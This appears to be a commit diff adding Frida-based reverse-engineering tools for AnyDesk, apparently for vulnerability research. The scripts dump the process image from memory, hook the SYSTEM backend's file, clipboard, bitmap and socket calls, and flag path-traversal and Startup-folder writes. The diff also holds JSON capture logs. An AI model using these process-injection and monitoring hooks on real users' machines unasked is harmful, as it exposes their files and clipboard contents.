||||
"fl": [],
|
||||
"ts": 1773785136036,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "file",
|
||||
"op": "Create",
|
||||
"path": "C:\\Users\\Mes\\Downloads",
|
||||
"w": false,
|
||||
"c": false,
|
||||
"fl": [],
|
||||
"ts": 1773785136037,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "file",
|
||||
"op": "Create",
|
||||
"path": "C:\\Users\\Mes\\Downloads\\AnyDesk.exe\\",
|
||||
"w": false,
|
||||
"c": false,
|
||||
"fl": [],
|
||||
"ts": 1773785136045,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "file",
|
||||
"op": "Create",
|
||||
"path": "C:\\Users\\Mes\\Downloads\\",
|
||||
"w": false,
|
||||
"c": false,
|
||||
"fl": [],
|
||||
"ts": 1773785136045,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "file",
|
||||
"op": "Create",
|
||||
"path": "C:\\Users\\Mes\\Downloads\\",
|
||||
"w": false,
|
||||
"c": false,
|
||||
"fl": [],
|
||||
"ts": 1773785136045,
|
||||
"pid": 18852
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
{
|
||||
"capture_time": "2026-03-17T21:29:09.787972",
|
||||
"duration": 171.0004379749298,
|
||||
"ssl_info": null,
|
||||
"total_raw_packets": 0,
|
||||
"total_decrypted_packets": 0,
|
||||
"total_file_ops": 0,
|
||||
"total_clipboard_ops": 0,
|
||||
"total_bitmap_ops": 0,
|
||||
"alerts": [],
|
||||
"decrypted_packets": [],
|
||||
"file_ops": [],
|
||||
"clipboard_ops": [],
|
||||
"bitmap_ops": []
|
||||
}
|
||||
@@ -0,0 +1,86 @@
|
||||
"""Find the correct Frida API for this version"""
|
||||
import frida, subprocess, time
|
||||
|
||||
out = subprocess.check_output(
|
||||
['tasklist','/FI','IMAGENAME eq AnyDesk.exe','/FO','CSV','/NH'],
|
||||
text=True, stderr=subprocess.DEVNULL)
|
||||
pid = None
|
||||
for line in out.strip().split('\n'):
|
||||
if 'AnyDesk' in line:
|
||||
parts = line.strip().strip('"').split('","')
|
||||
pid = int(parts[1].strip('"')); break
|
||||
|
||||
print(f"PID: {pid}, Frida: {frida.__version__}")
|
||||
session = frida.attach(pid)
|
||||
|
||||
done = False
|
||||
def on_msg(msg, data):
|
||||
global done
|
||||
print(f" {msg.get('payload', msg)}")
|
||||
if msg.get('type') == 'send' and msg.get('payload','').startswith('DONE'):
|
||||
done = True
|
||||
|
||||
# Test with V8
|
||||
print("\n=== V8 runtime ===")
|
||||
s = session.create_script("""
|
||||
// What does Module look like?
|
||||
send("typeof Module = " + typeof Module);
|
||||
try { send("Module keys = " + Object.keys(Module).join(", ")); } catch(e) { send("Module keys err: " + e.message); }
|
||||
try { send("Module.findExportByName = " + typeof Module.findExportByName); } catch(e) { send("err: " + e.message); }
|
||||
|
||||
// Try Process approach
|
||||
send("typeof Process = " + typeof Process);
|
||||
try { send("Process keys = " + Object.getOwnPropertyNames(Process).join(", ")); } catch(e) { send("Process keys err: " + e.message); }
|
||||
try {
|
||||
var m = Process.getModuleByName("KERNEL32.DLL");
|
||||
send("kernel32 = " + m);
|
||||
send("kernel32 keys = " + Object.getOwnPropertyNames(m).join(", "));
|
||||
send("getExportByName type = " + typeof m.getExportByName);
|
||||
if (typeof m.findExportByName === 'function') {
|
||||
var a = m.findExportByName("CreateFileW");
|
||||
send("findExportByName CreateFileW = " + a);
|
||||
}
|
||||
if (typeof m.getExportByName === 'function') {
|
||||
var b = m.getExportByName("CreateFileW");
|
||||
send("getExportByName CreateFileW = " + b);
|
||||
}
|
||||
} catch(e) { send("Process.getModuleByName err: " + e.message); }
|
||||
|
||||
// Try the way the recon script did it (which worked)
|
||||
try {
|
||||
var mods = Process.enumerateModules();
|
||||
var k32 = null;
|
||||
for (var i = 0; i < mods.length; i++) {
|
||||
if (mods[i].name === 'KERNEL32.DLL') { k32 = mods[i]; break; }
|
||||
}
|
||||
if (k32) {
|
||||
send("k32 via enumerate = " + k32.name + " @ " + k32.base);
|
||||
send("k32 keys = " + Object.getOwnPropertyNames(k32).join(", "));
|
||||
var exps = k32.enumerateExports();
|
||||
var cf = null;
|
||||
for (var j = 0; j < exps.length; j++) {
|
||||
if (exps[j].name === 'CreateFileW') { cf = exps[j]; break; }
|
||||
}
|
||||
if (cf) {
|
||||
send("CreateFileW via enumerate = " + cf.address + " type=" + cf.type);
|
||||
// Now try Interceptor.attach with this address
|
||||
try {
|
||||
Interceptor.attach(cf.address, { onEnter: function(a) {} });
|
||||
send("INTERCEPTOR ATTACH SUCCESS!");
|
||||
} catch(e2) {
|
||||
send("Interceptor.attach fail: " + e2.message);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch(e) { send("enumerate err: " + e.message); }
|
||||
|
||||
send("DONE");
|
||||
""", runtime='v8')
|
||||
s.on('message', on_msg)
|
||||
s.load()
|
||||
for _ in range(100):
|
||||
if done: break
|
||||
time.sleep(0.1)
|
||||
s.unload()
|
||||
|
||||
session.detach()
|
||||
@@ -0,0 +1,140 @@
|
||||
"""
|
||||
Dump AnyDesk's main module from memory — uses Frida's module info directly.
|
||||
"""
|
||||
import frida
|
||||
import sys
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
AGENT = r"""
|
||||
var mainMod = Process.enumerateModules()[0];
|
||||
send({t:'info', msg: 'Module: ' + mainMod.name + ' @ ' + mainMod.base + ' size: ' + mainMod.size});
|
||||
|
||||
// Check if the base has a PE header
|
||||
var mz = mainMod.base.readU16();
|
||||
send({t:'info', msg: 'MZ check: 0x' + mz.toString(16) + (mz === 0x5A4D ? ' (valid)' : ' (invalid)')});
|
||||
|
||||
if (mz === 0x5A4D) {
|
||||
var peOff = mainMod.base.add(0x3C).readU32();
|
||||
var peSig = mainMod.base.add(peOff).readU32();
|
||||
send({t:'info', msg: 'PE sig: 0x' + peSig.toString(16)});
|
||||
|
||||
var numSections = mainMod.base.add(peOff + 6).readU16();
|
||||
var sizeOfImage = mainMod.base.add(peOff + 0x50).readU32();
|
||||
var sizeOfHeaders = mainMod.base.add(peOff + 0x54).readU32();
|
||||
send({t:'info', msg: 'Sections: ' + numSections + ', SizeOfImage: ' + sizeOfImage + ', HeaderSize: ' + sizeOfHeaders});
|
||||
|
||||
// Read section table to find real extent
|
||||
var optHeaderSize = mainMod.base.add(peOff + 0x14).readU16();
|
||||
var sectionTableOff = peOff + 0x18 + optHeaderSize;
|
||||
var maxEnd = 0;
|
||||
for (var i = 0; i < numSections; i++) {
|
||||
var secBase = mainMod.base.add(sectionTableOff + i * 40);
|
||||
var nameBytes = secBase.readByteArray(8);
|
||||
var nameArr = new Uint8Array(nameBytes);
|
||||
var name = '';
|
||||
for (var j = 0; j < 8; j++) { if (nameArr[j] === 0) break; name += String.fromCharCode(nameArr[j]); }
|
||||
var virtualSize = secBase.add(8).readU32();
|
||||
var virtualAddr = secBase.add(12).readU32();
|
||||
var rawSize = secBase.add(16).readU32();
|
||||
var chars = secBase.add(36).readU32();
|
||||
var end = virtualAddr + virtualSize;
|
||||
if (end > maxEnd) maxEnd = end;
|
||||
send({t:'section', name: name.replace(/\0/g,''), va: '0x'+virtualAddr.toString(16),
|
||||
vs: virtualSize, rs: rawSize, chars: '0x'+chars.toString(16)});
|
||||
}
|
||||
send({t:'info', msg: 'Max section end: 0x' + maxEnd.toString(16) + ' (' + maxEnd + ' bytes)'});
|
||||
}
|
||||
|
||||
// Dump the full module
|
||||
var dumpSize = mainMod.size;
|
||||
send({t:'info', msg: 'Dumping ' + dumpSize + ' bytes...'});
|
||||
|
||||
var chunkSize = 512 * 1024; // 512KB chunks
|
||||
var offset = 0;
|
||||
while (offset < dumpSize) {
|
||||
var readSize = Math.min(chunkSize, dumpSize - offset);
|
||||
try {
|
||||
var data = mainMod.base.add(offset).readByteArray(readSize);
|
||||
send({t:'chunk', offset: offset}, data);
|
||||
} catch(e) {
|
||||
send({t:'info', msg: 'Failed at offset 0x' + offset.toString(16) + ': ' + e});
|
||||
var zeros = new ArrayBuffer(readSize);
|
||||
send({t:'chunk', offset: offset}, zeros);
|
||||
}
|
||||
offset += readSize;
|
||||
}
|
||||
send({t:'done', size: dumpSize});
|
||||
"""
|
||||
|
||||
def find_pid():
|
||||
out = subprocess.check_output(
|
||||
['tasklist', '/FI', 'IMAGENAME eq AnyDesk.exe', '/FO', 'CSV', '/NH'],
|
||||
text=True, stderr=subprocess.DEVNULL)
|
||||
for line in out.strip().split('\n'):
|
||||
if 'AnyDesk' in line:
|
||||
parts = line.strip().strip('"').split('","')
|
||||
if len(parts) >= 2:
|
||||
return int(parts[1].strip('"'))
|
||||
return None
|
||||
|
||||
def main():
|
||||
print("=" * 60)
|
||||
print(" AnyDesk Memory Dumper v2")
|
||||
print("=" * 60)
|
||||
|
||||
pid = find_pid()
|
||||
if not pid:
|
||||
print("[!] AnyDesk not running")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"[+] Attaching to PID {pid}")
|
||||
|
||||
dump_data = bytearray()
|
||||
dump_size = [0]
|
||||
done = [False]
|
||||
|
||||
def on_msg(msg, data):
|
||||
if msg['type'] == 'send':
|
||||
p = msg['payload']
|
||||
if p['t'] == 'info':
|
||||
print(f" [*] {p['msg']}")
|
||||
elif p['t'] == 'section':
|
||||
print(f" [SEC] {p['name']:8s} VA={p['va']} VSize={p['vs']:>10,} RawSize={p['rs']:>10,} Chars={p['chars']}")
|
||||
elif p['t'] == 'chunk' and data:
|
||||
offset = p['offset']
|
||||
if len(dump_data) < offset + len(data):
|
||||
dump_data.extend(b'\x00' * (offset + len(data) - len(dump_data)))
|
||||
dump_data[offset:offset+len(data)] = data
|
||||
mb = (offset + len(data)) / 1024 / 1024
|
||||
print(f" [DUMP] {mb:.1f} MB...", end='\r')
|
||||
elif p['t'] == 'done':
|
||||
dump_size[0] = p['size']
|
||||
done[0] = True
|
||||
print(f"\n [+] Dump complete: {p['size']:,} bytes")
|
||||
elif msg['type'] == 'error':
|
||||
print(f" [!] {msg['description']}")
|
||||
|
||||
session = frida.attach(pid)
|
||||
script = session.create_script(AGENT, runtime='v8')
|
||||
script.on('message', on_msg)
|
||||
script.load()
|
||||
|
||||
for _ in range(1200): # 2 min timeout
|
||||
if done[0]: break
|
||||
time.sleep(0.1)
|
||||
|
||||
script.unload()
|
||||
session.detach()
|
||||
|
||||
if dump_data:
|
||||
outpath = f"anydesk_dump_{pid}.bin"
|
||||
with open(outpath, 'wb') as f:
|
||||
f.write(dump_data)
|
||||
print(f"\n[+] Saved: {outpath} ({len(dump_data):,} bytes)")
|
||||
print(f"[+] Load in Ghidra: mcp__ghidra__analyze_binary with this file")
|
||||
else:
|
||||
print("[!] No data dumped")
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -0,0 +1,164 @@
|
||||
"""
|
||||
Hook AnyDesk backend process — monitors file I/O, bitmaps, clipboard.
|
||||
Usage: python hook_backend.py <PID>
|
||||
Must run as Administrator (backend runs as SYSTEM).
|
||||
"""
|
||||
import frida
|
||||
import sys
|
||||
import time
|
||||
import json
|
||||
from datetime import datetime
|
||||
|
||||
AGENT = r"""
|
||||
var hc = 0;
|
||||
|
||||
function gx(mod, name) {
|
||||
try { var m = Process.findModuleByName(mod); return m ? m.findExportByName(name) : null; }
|
||||
catch(e) { return null; }
|
||||
}
|
||||
|
||||
// --- CreateFileW ---
|
||||
var a1 = gx('KERNEL32.DLL', 'CreateFileW');
|
||||
if (a1) { Interceptor.attach(a1, { onEnter: function(args) { try {
|
||||
var path = args[0].readUtf16String(); if (!path) return;
|
||||
var pl = path.toLowerCase();
|
||||
if (pl.indexOf('\\device\\')!==-1||pl.indexOf('\\pipe\\')!==-1||pl.indexOf('condrv')!==-1) return;
|
||||
var access = args[1].toInt32()>>>0, disp = args[4].toInt32();
|
||||
var isW = (access&0x40000000)!==0||(access&0x2)!==0;
|
||||
var isC = disp===1||disp===2||disp===4;
|
||||
var fl=[];
|
||||
if(path.indexOf('..\\')!==-1) fl.push('TRAV_BS');
|
||||
if(path.indexOf('../')!==-1) fl.push('TRAV_FS');
|
||||
if(pl.indexOf('startup')!==-1) fl.push('STARTUP');
|
||||
send({t:'F', path:path, w:isW, c:isC, fl:fl});
|
||||
} catch(e){} }}); hc++; }
|
||||
|
||||
// --- WriteFile ---
|
||||
var a2 = gx('KERNEL32.DLL', 'WriteFile');
|
||||
if (a2) { Interceptor.attach(a2, { onEnter: function(args) { try {
|
||||
var sz = args[2].toInt32();
|
||||
if (sz > 32) {
|
||||
var preview = args[1].readByteArray(Math.min(sz, 128));
|
||||
var arr = new Uint8Array(preview);
|
||||
var str = '';
|
||||
for (var i = 0; i < Math.min(arr.length, 128); i++) {
|
||||
var b = arr[i];
|
||||
str += (b >= 0x20 && b < 0x7f) ? String.fromCharCode(b) : '.';
|
||||
}
|
||||
send({t:'W', sz:sz, preview:str});
|
||||
}
|
||||
} catch(e){} }}); hc++; }
|
||||
|
||||
// --- MoveFileExW ---
|
||||
var a3 = gx('KERNEL32.DLL', 'MoveFileExW');
|
||||
if (a3) { Interceptor.attach(a3, { onEnter: function(args) { try {
|
||||
send({t:'M', src:args[0].readUtf16String(), dst:args[1].readUtf16String()});
|
||||
} catch(e){} }}); hc++; }
|
||||
|
||||
// --- CreateDIBSection (DeskRT output) ---
|
||||
var a4 = gx('GDI32.dll', 'CreateDIBSection');
|
||||
if (a4) { Interceptor.attach(a4, { onEnter: function(args) { try {
|
||||
var p = args[1]; if (p.isNull()) return;
|
||||
var w=p.add(4).readS32(), h=p.add(8).readS32(), bpp=p.add(14).readU16();
|
||||
send({t:'B', w:w, h:h, bpp:bpp, alloc:Math.abs(w)*Math.abs(h)*(bpp/8)});
|
||||
} catch(e){} }}); hc++; }
|
||||
|
||||
// --- Clipboard ---
|
||||
var a5 = gx('USER32.dll', 'SetClipboardData');
|
||||
if (a5) { Interceptor.attach(a5, { onEnter: function(args) {
|
||||
send({t:'C', op:'SET', fmt:args[0].toInt32()});
|
||||
}}); hc++; }
|
||||
var a6 = gx('USER32.dll', 'GetClipboardData');
|
||||
if (a6) { Interceptor.attach(a6, { onEnter: function(args) { this.f=args[0].toInt32(); },
|
||||
onLeave: function(r) { if(!r.isNull()) send({t:'C', op:'GET', fmt:this.f}); }
|
||||
}); hc++; }
|
||||
|
||||
// --- send/recv on backend too ---
|
||||
var sc=0, rc=0;
|
||||
var a7 = gx('WS2_32.dll', 'send');
|
||||
if (a7) { Interceptor.attach(a7, { onLeave: function(r) { var n=r.toInt32(); if(n>0){sc++;if(sc<=10||sc%50===0)send({t:'N',d:'S',sz:n,n:sc});}}}); hc++; }
|
||||
var a8 = gx('WS2_32.dll', 'recv');
|
||||
if (a8) { Interceptor.attach(a8, { onLeave: function(r) { var n=r.toInt32(); if(n>0){rc++;if(rc<=10||rc%50===0)send({t:'N',d:'R',sz:n,n:rc});}}}); hc++; }
|
||||
|
||||
send({t:'log', m:hc+' hooks on backend'});
|
||||
"""
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: python hook_backend.py <PID>")
|
||||
print("Run as Administrator!")
|
||||
sys.exit(1)
|
||||
|
||||
pid = int(sys.argv[1])
|
||||
print(f"[+] Attaching to backend PID {pid}...")
|
||||
|
||||
cfn = {1:'TEXT',2:'BITMAP',8:'DIB',13:'UNICODE',15:'HDROP',17:'DIBV5'}
|
||||
t0 = time.time()
|
||||
events = []
|
||||
|
||||
def on_msg(msg, data):
|
||||
if msg['type'] != 'send':
|
||||
print(f" [!] {msg.get('description','error')}")
|
||||
return
|
||||
p = msg['payload']
|
||||
t = p.get('t','')
|
||||
ts = time.time() - t0
|
||||
|
||||
if t == 'log':
|
||||
print(f" [*] {p['m']}")
|
||||
elif t == 'F':
|
||||
fl = ' '.join(f'[{f}]' for f in p.get('fl',[]))
|
||||
mode = ('W' if p['w'] else 'R') + ('+C' if p['c'] else '')
|
||||
print(f" [{ts:7.2f}s] [FILE {mode:4s}] {p['path']} {fl}")
|
||||
events.append(p)
|
||||
elif t == 'W':
|
||||
# Only show interesting writes (not log lines)
|
||||
if 'info 2026' not in p['preview'] and 'warning 2026' not in p['preview']:
|
||||
print(f" [{ts:7.2f}s] [WRITE {p['sz']:6d}b] {p['preview'][:80]}")
|
||||
events.append(p)
|
||||
elif t == 'M':
|
||||
print(f" [{ts:7.2f}s] [MOVE] {p['src']} -> {p['dst']}")
|
||||
events.append(p)
|
||||
elif t == 'B':
|
||||
print(f" [{ts:7.2f}s] [BITMAP] {p['w']}x{p['h']} @{p['bpp']}bpp ({p['alloc']:,.0f}b)")
|
||||
events.append(p)
|
||||
elif t == 'C':
|
||||
fn = cfn.get(p['fmt'], f"FMT{p['fmt']}")
|
||||
print(f" [{ts:7.2f}s] [CLIP] {p['op']} {fn}")
|
||||
events.append(p)
|
||||
elif t == 'N':
|
||||
print(f" [{ts:7.2f}s] [NET] {p['d']} {p['sz']}b #{p['n']}")
|
||||
|
||||
try:
|
||||
session = frida.attach(pid)
|
||||
except Exception as e:
|
||||
print(f"[!] Failed: {e}")
|
||||
print("[!] Run as Administrator — backend runs as SYSTEM")
|
||||
sys.exit(1)
|
||||
|
||||
script = session.create_script(AGENT, runtime='v8')
|
||||
script.on('message', on_msg)
|
||||
script.load()
|
||||
time.sleep(1)
|
||||
|
||||
print(f"\n{'='*60}")
|
||||
print(" Backend hooked. Now:")
|
||||
print(" 1. Use AnyDesk file transfer to send a file")
|
||||
print(" 2. Copy/paste between machines")
|
||||
print(" 3. Move mouse (DeskRT frames)")
|
||||
print(" Ctrl+C to stop")
|
||||
print(f"{'='*60}\n")
|
||||
|
||||
try:
|
||||
while True: time.sleep(0.1)
|
||||
except KeyboardInterrupt:
|
||||
print("\n[+] Stopping...")
|
||||
|
||||
out = f"backend_{pid}_{datetime.now().strftime('%H%M%S')}.json"
|
||||
with open(out, 'w') as f:
|
||||
json.dump(events, f, indent=2)
|
||||
print(f"[+] {len(events)} events -> {out}")
|
||||
session.detach()
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,2 @@
|
||||
frida
|
||||
frida-tools
|
||||
Binary file not shown.
Submodule
+1
Submodule tools/xeno-og added at 87ae4f96f8
Reference in New Issue
Block a user